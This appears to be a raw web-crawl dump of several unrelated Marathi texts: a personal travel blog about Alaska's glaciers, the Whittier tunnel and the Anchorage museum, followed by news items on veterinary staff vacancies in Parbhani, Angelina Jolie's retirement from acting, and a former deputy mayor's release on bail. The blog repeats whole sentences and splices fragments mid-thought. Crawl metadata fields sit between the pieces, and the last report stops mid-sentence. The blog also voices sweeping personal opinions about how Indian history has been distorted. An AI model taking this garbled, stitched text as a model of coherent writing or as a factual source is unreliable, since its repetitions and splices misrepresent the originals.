सौंदर्य हे नाजुक आणि मनोहारी आहे. अलास्काचे भव्य आणि रौद्र आहे.\nअसो तर... माटानुस्काला जाता जाता उजवीकडे नदी आणि विस्तीर्ण तैगा होते. लहानपणी तैगा हा प्रकार फक्त पुस्तकात वाचलेला.\nपरंतु अलास्कामध्ये प्रत्यक्ष पाहिला तैगा म्हणजे अर्क्टिक आणि टंड्राच्या खालची इकोसिस्ट्म. हे माझे सामान्य ज्ञान तैगा म्हणजे अर्क्टिक आणि टंड्राच्या खालची इकोसिस्ट्म. हे माझे सामान्य ज्ञान आर्क्टिक म्हणजे अगदी बर्फाळ. टंड्रा म्हणजे बर्फाळ आणि थोडेसे गवत आणि झुडुपे. परंतु तैगा मध्ये सुचिपर्णी वृक्ष दिसु लागतात. तर आमचा रस्ता डोंगराच्या कडेवरुन आणि नदीच्या बाजुने जात होता आणि नदिपलिकडे मैलोनमैल तैगा पसरलेले. सप्टेंबर महिना असल्यामुळे फॉल सुरु झालेला आणि सर्व तैगा पिवळे दिसत होते. आम्ही खुप उंचावर असल्यामुळे गवताच्या भाल्यांसारखे दृष्य होते खाली. दुरवर १०-१५ मैल अंतरावर माटानुस्का ग्लेशिअर मुंगीच्या गतिने सरकत येते आहे आर्क्टिक म्हणजे अगदी बर्फाळ. टंड्रा म्हणजे बर्फाळ आणि थोडेसे गवत आणि झुडुपे. परंतु तैगा मध्ये सुचिपर्णी वृक्ष दिसु लागतात. तर आमचा रस्ता डोंगराच्या कडेवरुन आणि नदीच्या बाजुने जात होता आणि नदिपलिकडे मैलोनमैल तैगा पसरलेले. सप्टेंबर महिना असल्यामुळे फॉल सुरु झालेला आणि सर्व तैगा पिवळे दिसत होते. आम्ही खुप उंचावर असल्यामुळे गवताच्या भाल्यांसारखे दृष्य होते खाली. दुरवर १०-१५ मैल अंतरावर माटानुस्का ग्लेशिअर मुंगीच्या गतिने सरकत येते आहे त्या गतिला मुंगी म्हणणे म्हणजे पुलंच्या भाषेत सश्याच्या टाळुला गंडस्थळ म्हणण्यासारखे त्या गतिला मुंगी म्हणणे म्हणजे पुलंच्या भाषेत सश्याच्या टाळुला गंडस्थळ म्हणण्यासारखे ग्लेशिअर पासुन ९० अंशात पुन्हा उजवीकडे पाहिले तर पर्वत रांगाच्या मध्यावर ढग इतके खाली उतरले होते की आम्ही ढगांच्या वर आहोत असा भास होत होता. तिथे उतरुन थोडे फोटो काढले आणि माटानुस्का कडे पुन्हा रवाना झालो. वाटेते एक लाकडी पुल पार करुन आमची गाडी पुढे गेल्यावर मात्र एका ठिकाणी रस्ता थांबला होता. त्यामुळे अगदी ग्लेशिअर पर्यंत जाता नाही आले तरीही एका ग्लेशिअर व्ह्युपॉइंट्वरुन चांगली माहिती कळली. असे करुन आमची स्वारी होटेल वर परतली.\nदुसऱ्या दिवशी प्रिन्स विलिअम साऊण्ड टुर आणि अल्येस्का स्काय ट्रेन करायचे ठरवले. प्रिन्स विलिअम साऊण्ड हा अलास्काच्या दक्षिणेला असलेला समुद्रापासुन डोंगररांगानी अडवला गेलेला एक मोठा जलाशय आहे. समुद्राचेच पाणी परंतु मध्ये मोठी डोंगररांग असल्यामुळे वादळांपासुन सुरक्षीत. हा जलाशय ५०-१०० मैल पसरलेला आहे आणि मध्ये डोंगररांगा विखुरलेल्या आहेत. प्रत्येक डोंगरावर एक असे अनेक ग्लेशिअर्स इथे आहेत. हे सर्व ग्लेशिअर्स इथे मोठ्मोठ्या व्हॅलिज तयार करतात. किंबहुना जगात जिथे कुथे अगदी चित्रपटात दाखवतात तशी अगदी भांड्यासारखी व्हॅली दाखवतात ती नक्कीच कधी काळी ग्लेशिअर्समुळे तयार झाली अशी माहिती या टुर मध्ये कळली. प्रिन्स विलिअम साऊण्ड ला जायचे तर व्हिटिअर नावाच्या गावात जाऊन मग क्रुझ घ्यावी लागते. व्हिटिअर एका डोंगराच्या मागे असल्यामुळे तिथे जाण्याचा एकच मार्ग आहे - तो म्हणजे व्हिटिअर टनेल. या ट्नेलमध्ये एक मजेशीर गोष्ट अशी अनुभवली की रेल्वे आणि कार दोघांसाठी एकच बोगदा आणि तोही एकेरी आहे. त्यामुळे एकावेळी एकाच बाजुची वाहतुक चालु असते. आणि आपली कार रेल्वे ट्रॅकवरुन जाते. २.५ मैल लांबीचा हा बोगदा अमेरिकेतील सर्वात मोठा आहे (अपवाद फक्त बॉस्ट्न च्या बिग डिग बोगद्याचा). बोगद्यात शिरायच्या आत आम्ही उजवीकडे पोर्टेज ग्लेशिअर पाहिले आणि त्यानंतर व्हिटिअरला जाऊन साऊण्ड टुर केली. अलास्का सहलीतला सर्वात जास्त स्मरणीय अशी टुर होती ती. वीसेक तरी ग्लेशिअर्स पाहिली. एका ग्लेशिअरच्या अगदी १०० मीटर जवळ जाऊन त्याचे बर्फाचे कडे पाण्यात कोसळताना पाहण्यात मजा येते परंतु हे धोकादायक असु शकते कारण कधी कधी एखाद्या मोठ्या १० मजली इमारतीसारखा कडा पाण्यात तुटुन पडला तर एखादी मिनी त्सुनामी येउन तुमची बोट उलटवु शकते. त्याव्यतिरिक्त ही ग्लेशिअर्स आवाज देखील करतात. जेव्हा ग्लेशिअर्स पुढे सरकतात तेव्हा सर्व भाग एकच वेगाने पुढे जात नाहीत. त्यामुळे किंवा कधी कधी आत अडकलेल्या हवेमुळेदेखील ग्लेशिअर्स अगदी बंदुकीच्या गोळीसारखा आवाज काढत मार्गक्रमण करत असतात.\nभुकंप हे अलास्काचे दुसरे वैशिष्ट्य. इथे ७-८-९ चे भुकंप अनेकदा होऊन गेले आहेत. व्हिटिअर हे साउथसेन्ट्रल अलास्कामध्ये आहे. १९६४ साली इथे ९.२ रिश्टर स्केलचा भुकंप झालेला. तो इतका मोठा होता की त्याने भौगोलिक नकाशाच बदलुन जातो. अलास्काचा आजचा नकाशा हा अश्या अनेक उलथापालथींचा परिणाम आहे. किंबहुना जगात अनेक ठिकाणी जिथे आज समुद्र आहे तिथे कधी काळी जमीन होती. आणि जिथे आज जमीन आहे ते भाग समुद्राखाली होते. परंतु आपले अस्तित्वाला आपण इतके चिकटुन असतो की आपल्याला हे कळतच नाही काळाच्या चित्रपटामध्ये आपले संपूर्ण आयुष्य हा एक पापणी लवते तसा एक क्षण आहे. आपण त्यातुन अर्थ काढत बसतो शंभर गोष्टींचे आणि भावनावश होतो. भारतिय तत्वज्ञान हे निराशावादी नाही. परंतु पाश्चात्य तत्वज्ञानामध्ये निहिलिझम सारख्या विचारधारा जीवनाला निरर्थक आणि निरुद्देश समजतात. त्यामुळे अर्थातच नैतिकतेला आव्हान देणारे तत्वज्ञान दिसुन येते. आयन रॅण्ड सारखे लोक वेगळे .. जे नैतिकता मानतात परंतु धर्माधिष्ठित नैतिकता त्यांना मान्य नसते. परंतु निहिलिस्ट तत्वज्ञान मानणारा माणुस नैतिक आणि अनैतिक यातला फरकच मानत नाही. मला फार काही कळत नाही या विषयांमधले. कधी अभ्यास केला नाही याचा परंतु वरकरणी भारतिय विचारसरणी ही उदात्त परंतु स्वप्नाळु वाटते. त्याउलट पाश्चात्य विचारसरणी ही व्यवहार्य परंतु आत्मकेन्द्रिंत आणि अमानवी वाटते.\nअसो ... परंतु अलास्काचा निसर्ग इतका भव्य आणि रुद्र आहे की विचारता सोय नाही. साऊण्ड टुर करुन आम्ही परत येता येता अल्येस्का रिसॉर्ट ची स्काय ट्रेन केली.\nतिसऱ्या दिवशी फक्त झु पाहिले आणि अ‍ॅन्करेज म्युझिअम पाहिले. झु तसे काही विशेष नव्हते. परंतु म्युझिअम अप्रतिम होते. अलास्का, टंड्रा इथल्या मुळच्या लोकांना इन्युईट म्हणतात. त्यांची संस्कृती, त्यांचे जीवन, कला अगदी पाहण्यासारखे होते. मानवाच्या कल्पकतेची आणि चिकाटीची कमाल आहे की इतक्या थंड वातावरणात हे लोक कसे तग धरुन राहिले हजारो वर्षे याव्यतिरिक्त एक गोष्ट माझ्या स्मरणात राहिली. अलास्कामध्ये गोऱ्या लोकांनी त्यांचा इतिहास चित्ररुपाने टिकवुन ठेवला आहे. त्यांच्या ज्या मोहिमा इकडे आल्या ते स्वत:बरोबर चित्रकार घेऊन येत असत आणि आपल्या अनुभवांची चित्रे काढत असत. ती चित्रे जशीच्या तशी टिकवुन आहेत. मी १९९७ साली ऑस्ट्रेलिआ मध्ये गेलो तिथेदेखील हे पाहिले. यांचा इतिहास जेमतेम २०० वर्षांचा . परंतु इतक्या अभिमानाने जपला असतो. \"हे माझ्या आजोबांचे भांडे. याच्यामध्ये ते कॉटन ठेवत असत याव्यतिरिक्त एक गोष्ट माझ्या स्मरणात राहिली. अलास्कामध्ये गोऱ्या लोकांनी त्यांचा इतिहास चित्ररुपाने टिकवुन ठेवला आहे. त्यांच्या ज्या मोहिमा इकडे आल्या ते स्वत:बरोबर चित्रकार घेऊन येत असत आणि आपल्या अनुभवांची चित्रे काढत असत. ती चित्रे जशीच्या तशी टिकवुन आहेत. मी १९९७ साली ऑस्ट्रेलिआ मध्ये गेलो तिथेदेखील हे पाहिले. यांचा इतिहास जेमतेम २०० वर्षांचा . परंतु इतक्या अभिमानाने जपला असतो. \"हे माझ्या आजोबांचे भांडे. याच्यामध्ये ते कॉटन ठेवत असत\" - कांगारु आयलंडवरच्या ट्रीपमध्ये तो टुअर गाईड सांगत होता. आता याच्या आजोबांनी कुठे काय केले याचे मला का घेणे\" - कांगारु आयलंडवरच्या ट्रीपमध्ये तो टुअर गाईड सांगत होता. आता याच्या आजोबांनी कुठे काय केले याचे मला का घेणे \"ही पावश्यांची इंदु. तरुणपणी मरण पावली. हिच्या स्मृतीस मी वंदन करतो.\" - आरती प्रभुंच्या ओळी आठवल्या. इतर लोक त्या कवितेतुन काय अर्थ काढतात मला माहित नाही. परंतु मला तर ती कविता म्हणजे नवकवींवर आणि मुक्तछंदावर केलेली सणसणीत टीका वाटते. असो.. पण तो वेगळा विषय होईल.\nपरंतु कधी कधी पाश्चात्यांचा इतिहासाचा आवाका हास्यास्पद वाटला तरीही तो खुप अर्थपूर्ण आहे. मी सोमवारात राह्यचो तिथे १०० मीटरच्या वर्तुळात कमीत कमी तीन देवळे होती जी किमान दोनशे वर्षे जुनी होती. सिद्धेश्वर, नागेश्वर, त्रिशुंड्या गणपती. परंतु आम्हाला त्याचे कधीच काहीच वाटले नाही. किंबहुना जी गोष्ट तीनशे वर्षांपेक्षा जुनी नाही ती जुनी नाहीच मुळी अशी आपली धारणा. अलिकडे जग इतक्या वेगाने पुढे जाते आहे की आम्ही १० वर्षांपूर्वीची अमेरिका आठवुन थक्क होतो की आपण अमेरिकेत कसे रहात होतो\nअसो परंतु परकीय आक्रमणांमुळे सुद्धा आपण आपला इतिहास विसरलो आहोत आणि त्यामुळे वर्तमानाचे भान राहिले नाही असे वाटते प्रकर्षाने. आणि पर्यायाने भविष्याला तिलांजली. आपल्याकडे इंग्रजांनी जमेल तितका इतिहास जाळला आणि नष्ट केला. उरलेला इतिहास जवाहरलाल नेहेरु विद्यापीठातील कम्युनिस्टांनी विकृत बनवला आहे. आणि जर तरीही काही उरलेच तर ते उजव्या विचारसरणी च्या लोकांनी पुराणाच्या पलिकडे अतिरंजीत केले आहे की खरे काय आणि खोटे काय आणि त्यातुन काय शिकावे हेच कळत नाही.\nएकंदरीतच इतिहास हा नेहेमीच राजांचा राहिला गेला आहे. किंवा देव देवतांचा (परंतु तो इतिहास नाही). पाश्चात्य समाजामध्ये रेनेसान्स नंतर एक एगॅलिटेरिअन संस्कृती आली तेव्हापासुन त्यांच्या इतिहासाचा केंद्रबिन्दु सामान्य माणुस झालेला आहे. अर्थात लिंकन, रुझवेल्ट, चर्चिल मंडळी आहेत. परंतु इथे इतिहासाची पाळेमुळे अगदी दूरवर आणि खोलवर पसरली आहेत. त्याचे नाते थेट सामान्य जनते पाशी आहे.\nभारतात तसा इतिहास शिकल्याशिवाय आपल्यामध्ये आत्मविश्वास, आत्मसम्मान जागृत होणार नाही. आणि इतिहासाबद्दल एक तटस्थ भुमिका निर्माण होणार नाही.\nअसो .. परंतु अलास्का वारीमध्ये मला एकदम याचे वाईट वाटले की पाश्चात्यांनी त्यांचा किती सुक्ष्म इतिहास जपुन ठेवला आहे. आणि आपल्याकडे शिवाजी महाराजांचा लाल महाल कसा होता याचे नक्की वर्णन नाही. बाकी तर सोडुनच द्या.\nशेवटच्या दिवशी आम्ही स्युअर्ड इथे एक्झिट ग्लेशिअर पाहिले आणि वाइल्ड लाइफ टुर करणार होतो परंतु एक्झिट ग्लेशिअरच्या नादात उशीर झाला. नंतर धावत पळत एअरपोर्ट गाठला.\nबऱ्याच गोष्टी पाह्यच्या राह्यला. डेनाली पार्क, क्रुझ, ग्लेशिअर लॅंण्डिंग, अरोरा बोरिअलिस. परंतु जे काही पाहिले त्याने मन प्रसन्न झाले.\nअरे हो आणि एक गोष्ट राहिलीच ... होटेल मध्ये लिफ्ट ने जाता येता सलोनी लिफ्ट थांबली की म्हणायची \"चिंग\" ... म्हणजे ... लिफ्टच्या बेलचा आवाज\" ... म्हणजे ... लिफ्टच्या बेलचा आवाज वय वर्षे १८ महिने... एक एक आठवणी. बघता बघता आज सव्वा दोन वर्षांची झाली. इट्स फन वय वर्षे १८ महिने... एक एक आठवणी. बघता बघता आज सव्वा दोन वर्षांची झाली. इट्स फन असो ... सो लॉंन्ग\nमस्त कव्हर केलंय पोस्टमध्ये आणि फ़ोटोपण छान आहेत....मला बरीच माहिती मिळाली..फ़क्त आता बहुतेक आम्हाला पुढचा उन्हाळा गाठावा लागेल कारण यावर्षी इथे माझी आई आहे आणि तिला थंडीच्या ठिकाणी जायचं नाहीये...\nअपर्णा... प्रिन्स विलिअम साऊण्ड जरुर करा. किमान ५ रात्री, जमले तर ७-१० अशी ट्रिप व्यवस्थीत होईल. अर्थात १० दिवसांमध्ये सुद्धा सर्व पाहता येईलच असे नाही. परंतु त्या जागेचा फील येण्यासाठी दोन-तीन दिवस तरी एका ठिकाणी तंबु ठोकुन राहावे लागते\nअलास्का - भाग २\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00335.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "http://www.agrowon.com/agriculture-news-marathi-problems-service-due-vacancies-veterinary-department-maharashtra-7754", "date_download": "2018-09-25T17:52:56Z", "digest": "sha1:YHSMRXR7JODTVGSETT6ADDG24R66N66A", "length": 17484, "nlines": 150, "source_domain": "www.agrowon.com", "title": "agriculture news in Marathi, problems in service due to vacancies in veterinary department , Maharashtra | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nरिक्तपदांमुळे पशुवैद्यक सेवा पुरविण्यास अडचणी\nरिक्तपदांमुळे पशुवैद्यक सेवा पुरविण्यास अडचणी\nशनिवार, 28 एप्रिल 2018\nपरभणी ः जिल्हा पशुसंवर्धन उपायुक्त कार्यालय आणि जिल्हा परिषदेच्या पशुसंवर्धन विभागांतर्गत विविध संवर्गातील महत्त्वाची पदे रिक्त आहेत. यामुळे जिल्ह्यातील पशुपालक शेतकऱ्यांच्या जनावरांवर वेळेवर, योग्य औषधोपचार करणे अशक्य होत आहे. विविध आजारांवरील प्रतिबंधक लसीकरणाची मोहीम प्रभावीपणे राबविता येत नाही.\nपरभणी ः जिल्हा पशुसंवर्धन उपायुक्त कार्यालय आणि जिल्हा परिषदेच्या पशुसंवर्धन विभागांतर्गत विविध संवर्गातील महत्त्वाची पदे रिक्त आहेत. यामुळे जिल्ह्यातील पशुपालक शेतकऱ्यांच्या जनावरांवर वेळेवर, योग्य औषधोपचार करणे अशक्य होत आहे. विविध आजारांवरील प्रतिबंधक लसीकरणाची मोहीम प्रभावीपणे राबविता येत नाही.\nपरभणी जिल्ह्यातील नऊ तालुक्यात राज्य शासनाच्या पशुसंवर्धन विभागाचे ८ आणि जिल्हा परिषदेच्या पशुसंवर्धन विभागाचे ७८ अशी एकूण ८६ पशुवैद्यकीय उपचार केंद्र आहेत. यामध्ये जिल्हा परिषदेचे श्रेणी १ चे ३० आणि श्रेणी २ चे ४८, तर राज्य शासनाच्या श्रेणी २ च्या ८ पशुवैद्यकीय उपचार केंद्रांचा समावेश आहे. साधारणातः पाच हजार पशुधनामागे एक पशुवैद्यक असणे आवश्यक आहे. जिल्ह्यातील पशुधनाची संख्या साडेपाच लाखावर गेली आहे. परंतु अनेक तालुक्यांच्या मुख्यालयाच्या ठिकाणच्या पशुवैद्यकी उपचार केंद्रातील सह्यायक आयुक्त, पशुधन विकास अधिकाऱ्यांची पदे अनेक वर्षांपासून रिक्त आहेत.\nशेतकरी, पशुपालंकांना पशुवैद्यकीय सल्ला तसेच आजारी जनावरांवर वेळेवर उपचार करणे अशक्य होत आहे. विविध आजारांवरील प्रतिबंधक लसीकरण मोहीम प्रभावीपणे राबविता येत नाही. सध्याच्या मनुष्यबळावर कामाचा ताण येत आहे. राज्य शासनाच्या पशुधन विभागांतर्गत जिल्ह्यात २० पदे मंजूर आहेत. जिल्हा पशुसंवर्धन उपायुक्त कार्यालयातील उपायुक्तांचे पद रिक्त आहे.\nजिंतूर येथील सहायक आयुक्त, पशुधन विकास अधिकारी, सेलू येथील सहायक आयुक्त, पशुधन विकास अधिकारी, तसेच तालुक्यातील पशुधन पर्यवेक्षकाची ४ पदे रिक्त आहेत, पूर्णा येथील सहायक आयुक्त आणि पशुधन विकास अधिकारी, पाथरी आणि गंगाखेड येथील सहायक आयुक्तांचे पद रिक्त आहे. जिल्हा परिषदेच्या पशुसंवर्धन विभागांतर्गत सहायक पशुधन विकास अधिकाऱ्यांची २२ पैकी ९ पदे रिक्त आहेत, तर पशुधन पर्यवेक्षकांची ५८ पैकी १५ पदे रिक्त आहेत.\nपंचायत समिती स्तरावरील ९ पदे तूर्त भरू नयेत असे शासन आदेश आहेत. पशुसंवर्धन गट ड मधील वृणोपचारकांची २४ पैकी पदे रिक्त आहेत. महत्त्वाच्या रिक्त पदांमुळे जिल्ह्यातील विशेषतः जिंतूर, गंगाखेड, पालम तालुक्यांतील डोंगराळ भागातील अाडवळणाच्या गावांतील तसेच जिल्ह्यातील गावातील पशुपालकांना जनावरांवर खासगी पशुवैद्यकाकडून उपचार करावे लागतात.\nअनेकदा वेळेवर तसेच योग्य औषधोपचार न मिळाल्यामुळे शेतकऱ्यांना पशुधनास मुकावे लागत आहे. जिल्ह्यातील शेतकरी, पशुपालकांच्या जनावरांवर वेळेवर उपचार करण्यासाठी तसेच पशुवैद्यकीय सेवा देण्यासाठी पशुसंवर्धन विभातील रिक्त पदे भरणे आवश्यक आहे.\nविभाग परभणी पशुवैद्यकीय पशुधन विकास लसीकरण\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिरजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात...\nकोल्हापुरात फळांची आवक मंदावली,...कोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या...\nकळमणा बाजारात सोयाबीनच्या दरात वाढनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा...\nनाशिकला टोमॅटोची आवक वाढली; कांदा,...नाशिक : नाशिक बाजार समितीत गतसप्ताहात टोमॅटोची...\nकपाशीतील किडींचे एकात्मिक नियंत्रणसध्या कपाशीचे पीक पाते, फुले व बोंड लागण्याच्या...\nसांगली जिल्ह्यात सेंद्रिय शेतमालाला हवी...सांगली जिल्ह्यामध्ये सेंद्रिय शेतीमाल विक्री...\nनाशिक जिल्ह्यात सेंद्रिय शेतीची वाटचाल...नाशिक जिल्ह्यात सेंद्रिय शेतीचे तीन वर्षांपूर्वी...\nनाशिक, निफाड कारखाना भाड्याने देण्याचा...नाशिक : कर्जबाजारी व आर्थिक डबघाईमुळे गेल्या काही...\nअकोला, बुलडाण्यात पीक कर्जवाटप ३०...अकोला ः शेतकऱ्यांना खरीप हंगामासाठी पीक...\nगोंदियातील कृषी सेवा केंद्रे लावणार...गोंदिया ः जमिनीची गरज ओळखूनच खताची मात्रा...\nसाताऱ्यात पावसाअभावी पिके करपू लागलीसातारा : जिल्ह्यात सुमारे एक महिन्यापासून...\nनगर जिल्ह्यात पावसाअभावी कांदा लागवड...नगर ः जिल्हाभरात पावसाअभावी कांदालागवड...\nवाशीममध्ये रब्बीत हरभऱ्याचे क्षेत्र...वाशीम ः या हंगामात जिल्ह्यात चांगला पाऊस...\nखरेदी केंद्र सुरू करण्याच्या मागणीसाठी...सातारा : शेतीमाल खरेदी केंद्रे त्वरित सुरू...\nसंघर्ष गोकुळ ‘मल्टिस्टेट’चाकोल्हापूर जिल्हा दूध संघ (गोकुळ) मल्टिस्टेट...\n'दारुमुळे दरवर्षी अडीच लाखापेक्षा जास्त...नवी दिल्ली- दारूमुळे दरवर्षी जवळपास अडीच...\nजालन्यात पाण्यात बुडून तिघांचा मृत्यूजालना : गणपती बाप्पांचे विसर्जन करताना जालना...\nशिखर, रोहितने पाकला धुतले; भारत अंतिम...दुबई : पाकिस्तानने उभारलेल्या 237 धावांचा सहजी...\nखानदेशात मध्यम पाऊस; नंदुरबारला हुलकावणीजळगाव : खानदेशात शुक्रवारी (ता.२१) मध्यरात्री व...\nपुणे जिल्ह्यात ढगाळ हवामानपुणे : जिल्ह्यात आठवड्याच्या सुरवातीला...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00335.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.esakal.com/manoranjan/angelina-jolie-say-bye-bye-silver-screen-40535", "date_download": "2018-09-25T17:41:36Z", "digest": "sha1:6DYWAEEVDVIIUBHANC35HQ32SH73LM7H", "length": 10940, "nlines": 170, "source_domain": "www.esakal.com", "title": "angelina jolie say bye bye on silver screen अँजेलिनाचा अलविदा | eSakal", "raw_content": "\nसोमवार, 17 एप्रिल 2017\nअँजेलिना जोली काही महिन्यांपासून सिल्वर स्क्रिनपासून लांबच आहे. याचं कारण म्हणजे तिचा ब्रॅड पीटशी झालेला घटस्फोट. या घटस्फोटानंतर तिने तिच्या सहाही मुलांची जबाबदारी तिच्याकडे घेतली. त्यामुळे तिला त्यांचा विशेष सांभाळ करावा लागत आहे.\nअँजेलिना जोली काही महिन्यांपासून सिल्वर स्क्रिनपासून लांबच आहे. याचं कारण म्हणजे तिचा ब्रॅड पीटशी झालेला घटस्फोट. या घटस्फोटानंतर तिने तिच्या सहाही मुलांची जबाबदारी तिच्याकडे घेतली. त्यामुळे तिला त्यांचा विशेष सांभाळ करावा लागत आहे.\nमॅलिफिसंट या चित्रपटाचा आता दुसरा भाग येऊ घातला आहे. या चित्रपटात अँजेलिनाने मुख्य भूमिका बजावली होती. तिची या चित्रपटात एका मनुष्य पक्षाची भूमिका होती, जिचे पंख नंतर छाटले जातात आणि जो राजा हे करतो त्याच्या मुलीला ती शाप देते आणि नंतर तिच्यावरच एखाद्या आईप्रमाणे निखळ प्रेम करू लागते. या चित्रपटातही ती काम करणार आहे; पण हा तिने या चित्रपटाबरोबरच आपल्या अभिनयाच्या करिअरला अलविदा केला आहे. एक अभिनेत्री म्हणून मॅलिफिसंट 2 हा तिचा शेवटचा चित्रपट असणार आहे. कारण तिला आपल्या सहा मुलांच्या संगोपनासाठी काही वेळ द्यायचा आहे. त्यानंतर ती लेखन आणि दिग्दर्शनाच्या क्षेत्रात करिअर करण्याचा विचार करत आहे; पण ती अभिनय क्षेत्र सोडणार असल्याचे कळतंय.\nजुहू चौपाटीवर 200 जवानांसह शाहिद कपूरची स्वच्छता मोहिम\nमुंबई : 50 वे सुवर्ण महोत्सवी वर्ष साजरे करणाऱ्या केंद्रीय औद्योगिक सुरक्षा दलातर्फे 24 ला जुहू चौपाटीवर पहाटे 4 ते सकाळी 10 वाजेपर्यंत...\nसैफ अली खानच्या 'बाजार'चा ट्रेलर प्रदर्शित\nअभिनेता सैफ अली खानचे करिअर सध्या सिनेसृष्टीत फारसे यशस्वी राहिले नाही. सैफचे शेवटचे दोन सिनेमे 'रंगून' आणि 'शेफ' हे बॉक्स ऑफिसवर आपटले. पण आपल्या...\nअजय देवगणचा 'तानाजी' आता येतोय\nमुंबई- अजय देवगणची निर्मिती आणि मुख्य भुमिका असलेल्या तानाजी या चित्रपटाच्या चित्रीकरणाला आजपासून सुरवात झाली आहे. हा चित्रपट छत्रपती शिवाजी...\nनागपुरातील देहव्यापार 100 कोटींवर\nनागपूर : रशिया, इटली, इंग्लंड, पाकिस्तान, उज्बेकिस्तान, बांगलादेश, आणि श्रीलंका या देशातील ललनांना \"सेक्‍स रॅकेट' अंतर्गत मुंबई-दिल्लीत आणल्या...\nकल्पना लाझमी यांचे निधन\nमुंबई - ‘एक पल’, ‘रुदाली’, ‘चिंगारी’, ‘दमन’ आदी चित्रपटांच्या दिग्दर्शिका कल्पना लाझमी (वय ६४) यांचे रविवारी मूत्रपिंडाच्या कर्करोगाने...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00335.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Ahamadnagar/Ex-Deputy-Mayor-Chhindam-out-of-jail/", "date_download": "2018-09-25T17:33:32Z", "digest": "sha1:XVXNFFQ4IEUN3OX7K2VTPFY36R3L4LLI", "length": 6021, "nlines": 36, "source_domain": "www.pudhari.news", "title": " माजी उपमहापौर छिंदम तुरुंगाबाहेर! | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Ahamadnagar › माजी उपमहापौर छिंदम तुरुंगाबाहेर\nमाजी उपमहापौर छिंदम तुरुंगाबाहेर\nछत्रपती शिवराय व शिवजयंतीबद्दल आक्षेपार्ह विधान केल्याप्रकरणी अटकेत असलेला नगरचा माजी उपमहापौर श्रीपाद छिंदम हा काल (दि. 13) दुपारी तुरुंगातून बाहेर आला आहे. बाहेर येताच तो राज्याबाहेर पळाल्याची चर्चा आहे. शुक्रवारी जामीन मंजूर झाल्यानंतर, त्याने सोमवारी न्यायालयात वैयक्‍तिक जातमुचलक्याची पूर्तता केली होती.\nशिवजयंतीबद्दल आक्षेपार्ह विधान केल्याप्रकरणी पोलिसांनी अटक केलेला श्रीपाद छिंदम हा गेल्या तीन आठवड्यांपासून नाशिकरोड कारागृहात होता. शुक्रवारी (दि. 9) त्याला नगरच्या मुख्य न्यायदंडाधिकार्‍यांसमोर हजर करण्यात आले होते. याच दिवशी त्याने जामिनासाठी अर्ज केला होता. त्याला दोन्ही गुन्ह्यांत न्यायालयाने प्रत्येकी 15 हजार रुपयांच्या वैयक्‍तिक जातमुचलक्यावर जामीन मंजूर केला होता; तसेच एका गुन्ह्यात जामीन देताना, दर रविवारी पोलिस ठाण्यात हजेरी नोंदविण्याची अट घातली होती.\nमात्र, जामीन मिळाल्यानंतरही छिंदम याच्याकडून जातमुचलक्याची पूर्तता करण्यात आली नव्हती. त्यामुळे तो अद्याप तुरुंगातच होता. सोमवारी दुपारी छिंदम याच्या भावाने न्यायालयात वैयक्‍तिक जातमुचलक्याची पूर्तता केली. त्यानंतर मंगळवारी (दि. 13) दुपारी छिंदम याची नाशिक रोड तुरुंगातून सुटका 